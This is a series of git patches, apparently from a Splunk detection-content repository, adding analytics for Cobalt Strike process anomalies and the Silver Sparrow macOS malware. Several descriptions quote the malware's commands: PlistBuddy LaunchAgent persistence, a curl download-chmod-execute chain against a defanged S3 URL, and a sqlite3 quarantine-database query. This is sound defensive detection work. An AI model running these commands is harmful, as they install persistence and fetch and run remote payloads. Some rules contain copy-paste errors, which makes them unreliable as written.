diff --git a/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml b/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml
index ef9421c973..32e85893de 100644
--- a/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml
+++ b/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml
@@ -1,7 +1,7 @@
-name: Suspicious DLLHost with no command line arguments Unit Test
+name: Suspicious DLLHost no command line arguments Unit Test
 tests:
-- name: Suspicious DLLHost with no Command Line Arguments
-  file: endpoint/suspicious_dllhost_with_no_command_line_arguments.yml
+- name: Suspicious DLLHost no Command Line Arguments
+  file: endpoint/suspicious_dllhost_no_command_line_arguments.yml
   pass_condition: '| stats count | where count > 0'
   earliest_time: '-24h'
   latest_time: 'now'

From 75998a3ddf0b540c9bda1728854cd6abfb3f0f5c Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 15:04:11 -0700
Subject: [PATCH 11/67] SearchprotocolHost

---
 ...protocolhost_no_command_line_arguments.yml | 39 +++++++++++++++++++
 ...colhost_no_command_line_arguments.test.yml | 12 ++++++
 2 files changed, 51 insertions(+)
 create mode 100644 detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
 create mode 100644 tests/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.test.yml

diff --git a/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml b/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
new file mode 100644
index 0000000000..0e34be5eef
--- /dev/null
+++ b/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
@@ -0,0 +1,39 @@
+name: Suspicious SearchProtocolHost no Command Line Arguments
+id: ff61e98c-0337-4593-a78f-72a676c56f26
+version: 1
+date: '2021-02-23'
+author: Michael Haag, Splunk
+type: batch
+datamodel: []
+description: The following analytic identifies searchprotocolhost.exe with no command line arguments.
+  It is unusual for searchprotocolhost.exe to execute with no command line arguments present.
+  This particular behavior is common with malicious software, including Cobalt Strike. 
+  During investigation, identify any network connections and parallel processes. Identify
+  any suspicious module loads related to credential dumping or file writes. searchprotocolhost.exe
+  is natively found in C:\Windows\system32 and C:\Windows\syswow64.
+search: '`sysmon` EventID=1 (process_name=searchprotocolhost.exe OR OriginalFileName=SearchProtocolHost.exe)
+  | regex CommandLine="(searchprotocolhost\.exe.{0,4}$)" | stats count min(_time) as firstTime
+  max(_time) as lastTime by dest, User, ParentImage,ParentCommandLine, process_name,
+  OriginalFileName, process_path, CommandLine | rename Computer as dest | `security_content_ctime(firstTime)`
+  | `security_content_ctime(lastTime)` | `suspicious_searchprotocolhost_no_command_line_arguments_filter`'
+how_to_implement: To successfully implement this search, you need to be ingesting
+  logs with the process name, parent process, and command-line executions from your
+  endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
+  Sysmon TA.
+known_false_positives: Limited false positives may be present in small environments. Tuning may be required based on parent process. 
+references: 
+- https://github.com/fireeye/red_team_tool_countermeasures/blob/master/rules/PGF/supplemental/hxioc/SUSPICIOUS%20EXECUTION%20OF%20SEARCHPROTOCOLHOST%20(METHODOLOGY).ioc
+tags:
+  analytic_story:
+  - Cobalt Strike
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1055
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/tests/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.test.yml b/tests/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.test.yml
new file mode 100644
index 0000000000..baa7ec883c
--- /dev/null
+++ b/tests/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.test.yml
@@ -0,0 +1,12 @@
+name: Suspicious SearchProtocolHost no Command Line Arguments Unit Test
+tests:
+- name: Suspicious SearchProtocolHost no Command Line Arguments
+  file: endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From c9c805127dc2c04fb51fbef071994561d855c48f Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 15:17:46 -0700
Subject: [PATCH 12/67] Update
 suspicious_searchprotocolhost_no_command_line_arguments.yml

---
 .../suspicious_searchprotocolhost_no_command_line_arguments.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml b/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
index 0e34be5eef..c2577e576a 100644
--- a/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
@@ -1,5 +1,5 @@
 name: Suspicious SearchProtocolHost no Command Line Arguments
-id: ff61e98c-0337-4593-a78f-72a676c56f26
+id: f52d2db8-31f9-4aa7-a176-25779effe55c
 version: 1
 date: '2021-02-23'
 author: Michael Haag, Splunk

From 10e028c9fab7c837d932ebfb3edceb1f0d28086b Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 24 Feb 2021 05:38:44 -0700
Subject: [PATCH 13/67] Silver Sparrow

---
 stories/silver_sparrow.yml | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 stories/silver_sparrow.yml

diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
new file mode 100644
index 0000000000..aaa61150af
--- /dev/null
+++ b/stories/silver_sparrow.yml
@@ -0,0 +1,34 @@
+name: Silver Sparrow
+id: cb4f48fe-7699-11eb-af77-acde48001122
+version: 1
+date: '2021-02-24'
+author: Michael Haag, Splunk
+type: batch
+description: Silver Sparrow, identified by Red Canary Intelligence, is a new forward looking MacOS (Intel and M1) malicious software downloader utilizing JavaScript for execution and a launchAgent to establish persistence.
+narrative: 'Silver Sparrow works is a dropper and uses typical persistence mechanisms on a Mac. It is cross platform, covering both Intel and Apple M1 architecture. 
+  To this date, no implant has been downloaded for malicious purposes.\ 
+
+  Per SentinelOne source, it is predicted that Silver Sparrow is likely selling itself as a mechanism to 3rd party “affiliates” or pay-per-install (PPI) partners, typically seen as commodity adware/malware.\
+
+  Identification\
+  
+  1. Identify the process name of PlistBuddy executing with command line arguments that include: LaunchAgents and RunAtLoad and true. (1)
+  This analytic assists with identifying different types of  macOS malware families establishing LaunchAgent persistence.\
+  
+  1. Identify the process name sqlite3 executing with a command line argument of: LSQuarantine (1)\
+
+  1. Monitor for the process curl executing with command line arguments or network connections to s3.amazonaws.com. (1)
+  Multiple macOS malware families utilize this method to download from S3 buckets for distribution.'
+references:
+- https://redcanary.com/blog/clipping-silver-sparrows-wings/
+- https://www.sentinelone.com/blog/5-things-you-need-to-know-about-silver-sparrow/
+tags:
+  analytic_story:
+  - Silver Sparrow
+  category:
+  - Adversary Tactics
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  usecase: Advanced Threat Detection
\ No newline at end of file

From 814aeaee3ecfc15ac2bcccca3205b04ba8291784 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 24 Feb 2021 05:42:43 -0700
Subject: [PATCH 14/67] Update silver_sparrow.yml

---
 stories/silver_sparrow.yml | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
index aaa61150af..41bbf66d8e 100644
--- a/stories/silver_sparrow.yml
+++ b/stories/silver_sparrow.yml
@@ -23,8 +23,7 @@ references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
 - https://www.sentinelone.com/blog/5-things-you-need-to-know-about-silver-sparrow/
 tags:
-  analytic_story:
-  - Silver Sparrow
+  analytic_story: Silver Sparrow
   category:
   - Adversary Tactics
   product:

From 9d96fc34e6ad2ba797674577c491ebf908c577c5 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 11:59:21 -0700
Subject: [PATCH 15/67] silver sparrow

---
 .../endpoint/suspicious_plistbuddy_usage.yml  | 48 +++++++++++++++++++
 stories/silver_sparrow.yml                    | 21 +++++++-
 2 files changed, 68 insertions(+), 1 deletion(-)
 create mode 100644 detections/endpoint/suspicious_plistbuddy_usage.yml

diff --git a/detections/endpoint/suspicious_plistbuddy_usage.yml b/detections/endpoint/suspicious_plistbuddy_usage.yml
new file mode 100644
index 0000000000..1564ce5ad5
--- /dev/null
+++ b/detections/endpoint/suspicious_plistbuddy_usage.yml
@@ -0,0 +1,48 @@
+name: Suspicious PlistBuddy Usage
+id: c3194009-e0eb-4f84-87a9-4070f8688f00
+version: 1
+date: '2021-02-22'
+description: 'The following analytic identifies the use of a native MacOS utility, PlistBuddy, creating or modifying a properly list (.plist) file. In the instance of Silver Sparrow,
+  the following commands were executed:
+ 
+  
+  1. PlistBuddy -c "Add :Label string init_verx" ~/Library/Launchagents/init_verx.plist\
+
+  1. PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/Launchagents/init_verx.plist\
+
+  1. PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/Launchagents/init_verx.plist\
+
+  1. PlistBuddy -c "Add :ProgramArguments array" ~/Library/Launchagents/init_verx.plist\
+
+  1. PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist\
+  
+  Upon triage, capture the .plist file being written to disk and review for further indicators. Contain the endpoint and triage further.'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+  In addition, OSQuery must be installed and configured to pick up process events (info
+  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402.
+type: batch
+datamodel: []
+references:
+- https://redcanary.com/blog/clipping-silver-sparrows-wings/
+- https://marcosantadev.com/manage-plist-files-plistbuddy/
+author: Michael Haag, Splunk
+search: ' |  `suspicious_plistbuddy_usage_filter`'
+known_false_positives: Although unlikely, some legitimate applications may use a moved
+  copy of rundll32, triggering a false positive.
+tags:
+  analytic_story:
+  - Silver Sparrow
+  mitre_attack_id:
+  - T1543.001
+  kill_chain_phases:
+  - Actions on Objectives
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  security_domain: endpoint
+  asset_type: Endpoint
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1543.001/atomic-red-team/windows-sysmon.log
diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
index 41bbf66d8e..056e80ec20 100644
--- a/stories/silver_sparrow.yml
+++ b/stories/silver_sparrow.yml
@@ -18,7 +18,26 @@ narrative: 'Silver Sparrow works is a dropper and uses typical persistence mecha
   1. Identify the process name sqlite3 executing with a command line argument of: LSQuarantine (1)\
 
   1. Monitor for the process curl executing with command line arguments or network connections to s3.amazonaws.com. (1)
-  Multiple macOS malware families utilize this method to download from S3 buckets for distribution.'
+  Multiple macOS malware families utilize this method to download from S3 buckets for distribution.
+  
+  If suspected Silver Sparrow, determine if the following known files reside on disk and perform containment as needed:\
+  
+  * ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour)\
+
+  * ~/Library/Launchagents/agent.plist (v1 persistence mechanism)\
+
+  * ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism)\
+
+  * ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour)\
+
+  * /tmp/verx (file containing final v2 payload if distributed)\
+
+  * ~/Library/Launchagents/verx.plist (v2 persistence mechanism)\
+
+  * ~/Library/Launchagents/init_verx.plist\
+  
+  Additional indicators and behaviors with the references.'
+
 references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
 - https://www.sentinelone.com/blog/5-things-you-need-to-know-about-silver-sparrow/

From 7fc33f259e53efc2a37340b72cc53e0520b6515c Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 12:03:56 -0700
Subject: [PATCH 16/67] Update silver_sparrow.yml

---
 stories/silver_sparrow.yml | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
index 056e80ec20..b004b79f2b 100644
--- a/stories/silver_sparrow.yml
+++ b/stories/silver_sparrow.yml
@@ -22,21 +22,21 @@ narrative: 'Silver Sparrow works is a dropper and uses typical persistence mecha
   
   If suspected Silver Sparrow, determine if the following known files reside on disk and perform containment as needed:\
   
-  * ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour)\
+  1. ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour)\
 
-  * ~/Library/Launchagents/agent.plist (v1 persistence mechanism)\
+  1. ~/Library/Launchagents/agent.plist (v1 persistence mechanism)\
 
-  * ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism)\
+  1. ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism)\
 
-  * ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour)\
+  1. ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour)\
 
-  * /tmp/verx (file containing final v2 payload if distributed)\
+  1. /tmp/verx (file containing final v2 payload if distributed)\
 
-  * ~/Library/Launchagents/verx.plist (v2 persistence mechanism)\
+  1. ~/Library/Launchagents/verx.plist (v2 persistence mechanism)\
 
-  * ~/Library/Launchagents/init_verx.plist\
+  1. ~/Library/Launchagents/init_verx.plist\
   
-  Additional indicators and behaviors with the references.'
+  Additional indicators and behaviors may be found within the references.'
 
 references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/

From dcc4060a873f7b4a4cc81de5f337e8967269dade Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 12:09:28 -0700
Subject: [PATCH 17/67] Update silver_sparrow.yml

---
 stories/silver_sparrow.yml | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
index b004b79f2b..fb15f22383 100644
--- a/stories/silver_sparrow.yml
+++ b/stories/silver_sparrow.yml
@@ -8,33 +8,33 @@ description: Silver Sparrow, identified by Red Canary Intelligence, is a new for
 narrative: 'Silver Sparrow works is a dropper and uses typical persistence mechanisms on a Mac. It is cross platform, covering both Intel and Apple M1 architecture. 
   To this date, no implant has been downloaded for malicious purposes.\ 
 
-  Per SentinelOne source, it is predicted that Silver Sparrow is likely selling itself as a mechanism to 3rd party “affiliates” or pay-per-install (PPI) partners, typically seen as commodity adware/malware.\
+  Per SentinelOne source, it is predicted that Silver Sparrow is likely selling itself as a mechanism to 3rd party “affiliates” or pay-per-install (PPI) partners, typically seen as commodity adware/malware. \
 
-  Identification\
+  Identification \
   
   1. Identify the process name of PlistBuddy executing with command line arguments that include: LaunchAgents and RunAtLoad and true. (1)
-  This analytic assists with identifying different types of  macOS malware families establishing LaunchAgent persistence.\
+  This analytic assists with identifying different types of  macOS malware families establishing LaunchAgent persistence. \
   
-  1. Identify the process name sqlite3 executing with a command line argument of: LSQuarantine (1)\
+  1. Identify the process name sqlite3 executing with a command line argument of: LSQuarantine (1) \
 
   1. Monitor for the process curl executing with command line arguments or network connections to s3.amazonaws.com. (1)
   Multiple macOS malware families utilize this method to download from S3 buckets for distribution.
   
-  If suspected Silver Sparrow, determine if the following known files reside on disk and perform containment as needed:\
+  If suspected Silver Sparrow, determine if the following known files reside on disk and perform containment as needed \
   
-  1. ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour)\
+  1. ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour) \
 
-  1. ~/Library/Launchagents/agent.plist (v1 persistence mechanism)\
+  1. ~/Library/Launchagents/agent.plist (v1 persistence mechanism) \
 
-  1. ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism)\
+  1. ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism) \
 
-  1. ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour)\
+  1. ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour) \
 
-  1. /tmp/verx (file containing final v2 payload if distributed)\
+  1. /tmp/verx (file containing final v2 payload if distributed) \
 
-  1. ~/Library/Launchagents/verx.plist (v2 persistence mechanism)\
+  1. ~/Library/Launchagents/verx.plist (v2 persistence mechanism) \
 
-  1. ~/Library/Launchagents/init_verx.plist\
+  1. ~/Library/Launchagents/init_verx.plist \
   
   Additional indicators and behaviors may be found within the references.'
 

From 1af14212632029564273551331698009cb2d4d73 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 12:17:10 -0700
Subject: [PATCH 18/67] Update silver_sparrow.yml

---
 stories/silver_sparrow.yml | 35 ++++-------------------------------
 1 file changed, 4 insertions(+), 31 deletions(-)

diff --git a/stories/silver_sparrow.yml b/stories/silver_sparrow.yml
index fb15f22383..6b66460a95 100644
--- a/stories/silver_sparrow.yml
+++ b/stories/silver_sparrow.yml
@@ -6,38 +6,11 @@ author: Michael Haag, Splunk
 type: batch
 description: Silver Sparrow, identified by Red Canary Intelligence, is a new forward looking MacOS (Intel and M1) malicious software downloader utilizing JavaScript for execution and a launchAgent to establish persistence.
 narrative: 'Silver Sparrow works is a dropper and uses typical persistence mechanisms on a Mac. It is cross platform, covering both Intel and Apple M1 architecture. 
-  To this date, no implant has been downloaded for malicious purposes.\ 
-
-  Per SentinelOne source, it is predicted that Silver Sparrow is likely selling itself as a mechanism to 3rd party “affiliates” or pay-per-install (PPI) partners, typically seen as commodity adware/malware. \
-
-  Identification \
-  
-  1. Identify the process name of PlistBuddy executing with command line arguments that include: LaunchAgents and RunAtLoad and true. (1)
-  This analytic assists with identifying different types of  macOS malware families establishing LaunchAgent persistence. \
-  
-  1. Identify the process name sqlite3 executing with a command line argument of: LSQuarantine (1) \
-
-  1. Monitor for the process curl executing with command line arguments or network connections to s3.amazonaws.com. (1)
-  Multiple macOS malware families utilize this method to download from S3 buckets for distribution.
-  
-  If suspected Silver Sparrow, determine if the following known files reside on disk and perform containment as needed \
-  
-  1. ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour) \
-
-  1. ~/Library/Launchagents/agent.plist (v1 persistence mechanism) \
-
-  1. ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism) \
-
-  1. ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour) \
-
-  1. /tmp/verx (file containing final v2 payload if distributed) \
-
-  1. ~/Library/Launchagents/verx.plist (v2 persistence mechanism) \
-
-  1. ~/Library/Launchagents/init_verx.plist \
-  
+  To this date, no implant has been downloaded for malicious purposes.
+  This analytic assists with identifying different types of  macOS malware families establishing LaunchAgent persistence.
+  Per SentinelOne source, it is predicted that Silver Sparrow is likely selling itself as a mechanism to 3rd party “affiliates” or pay-per-install (PPI) partners, typically seen as commodity adware/malware.
+  Identify the process name of PlistBuddy executing with command line arguments that include: LaunchAgents and RunAtLoad and true. (1)
   Additional indicators and behaviors may be found within the references.'
-
 references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
 - https://www.sentinelone.com/blog/5-things-you-need-to-know-about-silver-sparrow/

From df6d9cadd3829518857db88efb5589dc1edf4243 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 12:19:43 -0700
Subject: [PATCH 19/67] Update suspicious_plistbuddy_usage.yml

---
 detections/endpoint/suspicious_plistbuddy_usage.yml | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/detections/endpoint/suspicious_plistbuddy_usage.yml b/detections/endpoint/suspicious_plistbuddy_usage.yml
index 1564ce5ad5..251e383d37 100644
--- a/detections/endpoint/suspicious_plistbuddy_usage.yml
+++ b/detections/endpoint/suspicious_plistbuddy_usage.yml
@@ -4,18 +4,6 @@ version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a native MacOS utility, PlistBuddy, creating or modifying a properly list (.plist) file. In the instance of Silver Sparrow,
   the following commands were executed:
- 
-  
-  1. PlistBuddy -c "Add :Label string init_verx" ~/Library/Launchagents/init_verx.plist\
-
-  1. PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/Launchagents/init_verx.plist\
-
-  1. PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/Launchagents/init_verx.plist\
-
-  1. PlistBuddy -c "Add :ProgramArguments array" ~/Library/Launchagents/init_verx.plist\
-
-  1. PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist\
-  
   Upon triage, capture the .plist file being written to disk and review for further indicators. Contain the endpoint and triage further.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from

From 5536f1045a3359987e8779855f9b4acafea70ece Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 13:46:22 -0700
Subject: [PATCH 20/67] Update suspicious_plistbuddy_usage.yml

---
 .../endpoint/suspicious_plistbuddy_usage.yml   | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/detections/endpoint/suspicious_plistbuddy_usage.yml b/detections/endpoint/suspicious_plistbuddy_usage.yml
index 251e383d37..64abe0039d 100644
--- a/detections/endpoint/suspicious_plistbuddy_usage.yml
+++ b/detections/endpoint/suspicious_plistbuddy_usage.yml
@@ -3,7 +3,20 @@ id: c3194009-e0eb-4f84-87a9-4070f8688f00
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a native MacOS utility, PlistBuddy, creating or modifying a properly list (.plist) file. In the instance of Silver Sparrow,
-  the following commands were executed:
+  the following commands were executed:\
+   
+  - PlistBuddy -c "Add :Label string init_verx" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :ProgramArguments array" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :ProgramArguments:0 string /bin/sh" ~/Library/Launchagents/init_verx.plist \
+  
+  - PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist \
+
   Upon triage, capture the .plist file being written to disk and review for further indicators. Contain the endpoint and triage further.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
@@ -17,8 +30,7 @@ references:
 - https://marcosantadev.com/manage-plist-files-plistbuddy/
 author: Michael Haag, Splunk
 search: ' |  `suspicious_plistbuddy_usage_filter`'
-known_false_positives: Although unlikely, some legitimate applications may use a moved
-  copy of rundll32, triggering a false positive.
+known_false_positives: Although unlikely, some legitimate applications may use PlistBuddy to create or modify property lists.
 tags:
   analytic_story:
   - Silver Sparrow

From 5332f242562b4b05c6e3fe72ba86a6fbdeadf547 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 13:57:08 -0700
Subject: [PATCH 21/67] silver sparrow test

---
 .../suspicious_curl_network_connection.yml    | 45 +++++++++++++++++++
 .../endpoint/suspicious_plistbuddy_usage.yml  |  1 +
 ...spicious_sqlite3_lsquarantine_behavior.yml | 40 +++++++++++++++++
 3 files changed, 86 insertions(+)
 create mode 100644 detections/endpoint/suspicious_curl_network_connection.yml
 create mode 100644 detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
new file mode 100644
index 0000000000..ebba2c8ce9
--- /dev/null
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -0,0 +1,45 @@
+name: Suspicious Curl Network Connection
+id: 3f613dc0-21f2-4063-93b1-5d3c15eef22f
+version: 1
+date: '2021-02-22'
+description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software. 
+
+  ```
+  curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
+  plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist\
+
+  curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx
+  chmod 777 /tmp/verx
+  /tmp/verx upbuchupsf 
+  ```
+
+  Upon triage, capture the .plist file being written to disk and review for further indicators.'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+  In addition, OSQuery must be installed and configured to pick up process events (info
+  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402.
+type: batch
+datamodel: []
+references:
+- https://redcanary.com/blog/clipping-silver-sparrows-wings/
+- https://marcosantadev.com/manage-plist-files-plistbuddy/
+author: Michael Haag, Splunk
+search: ' | `suspicious_curl_network_connection_filter`'
+known_false_positives: 
+tags:
+  analytic_story:
+  - Silver Sparrow
+  mitre_attack_id:
+  - T1543.001
+  kill_chain_phases:
+  - Actions on Objectives
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  security_domain: endpoint
+  asset_type: Endpoint
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T543.001/atomic-red-team/windows-sysmon.log
diff --git a/detections/endpoint/suspicious_plistbuddy_usage.yml b/detections/endpoint/suspicious_plistbuddy_usage.yml
index 64abe0039d..3112f363f9 100644
--- a/detections/endpoint/suspicious_plistbuddy_usage.yml
+++ b/detections/endpoint/suspicious_plistbuddy_usage.yml
@@ -17,6 +17,7 @@ description: 'The following analytic identifies the use of a native MacOS utilit
   
   - PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist \
 
+
   Upon triage, capture the .plist file being written to disk and review for further indicators. Contain the endpoint and triage further.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
diff --git a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
new file mode 100644
index 0000000000..bafc178d39
--- /dev/null
+++ b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
@@ -0,0 +1,40 @@
+name: Suspicious SQLite3 LSQuarantine Behavior
+id: e1997b2e-655f-4561-82fd-aeba8e1c1a86
+version: 1
+date: '2021-02-22'
+description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software. 
+
+  ```
+  sqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* "select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like "[redacted]" order by LSQuarantineTimeStamp desc"
+  ```
+
+  Upon triage, capture the .plist file being written to disk and review for further indicators.'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+  In addition, OSQuery must be installed and configured to pick up process events (info
+  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402.
+type: batch
+datamodel: []
+references:
+- https://redcanary.com/blog/clipping-silver-sparrows-wings/
+- https://marcosantadev.com/manage-plist-files-plistbuddy/
+author: Michael Haag, Splunk
+search: ' | `suspicious_curl_network_connection_filter`'
+known_false_positives: 
+tags:
+  analytic_story:
+  - Silver Sparrow
+  mitre_attack_id:
+  - T1543.001
+  kill_chain_phases:
+  - Actions on Objectives
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  security_domain: endpoint
+  asset_type: Endpoint
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T543.001/atomic-red-team/windows-sysmon.log

From 691139a8cc764a73ee64f36d35749c7e63759bb6 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 13:58:41 -0700
Subject: [PATCH 22/67] Update suspicious_sqlite3_lsquarantine_behavior.yml

---
 .../endpoint/suspicious_sqlite3_lsquarantine_behavior.yml       | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
index bafc178d39..adc21fe5a2 100644
--- a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
+++ b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
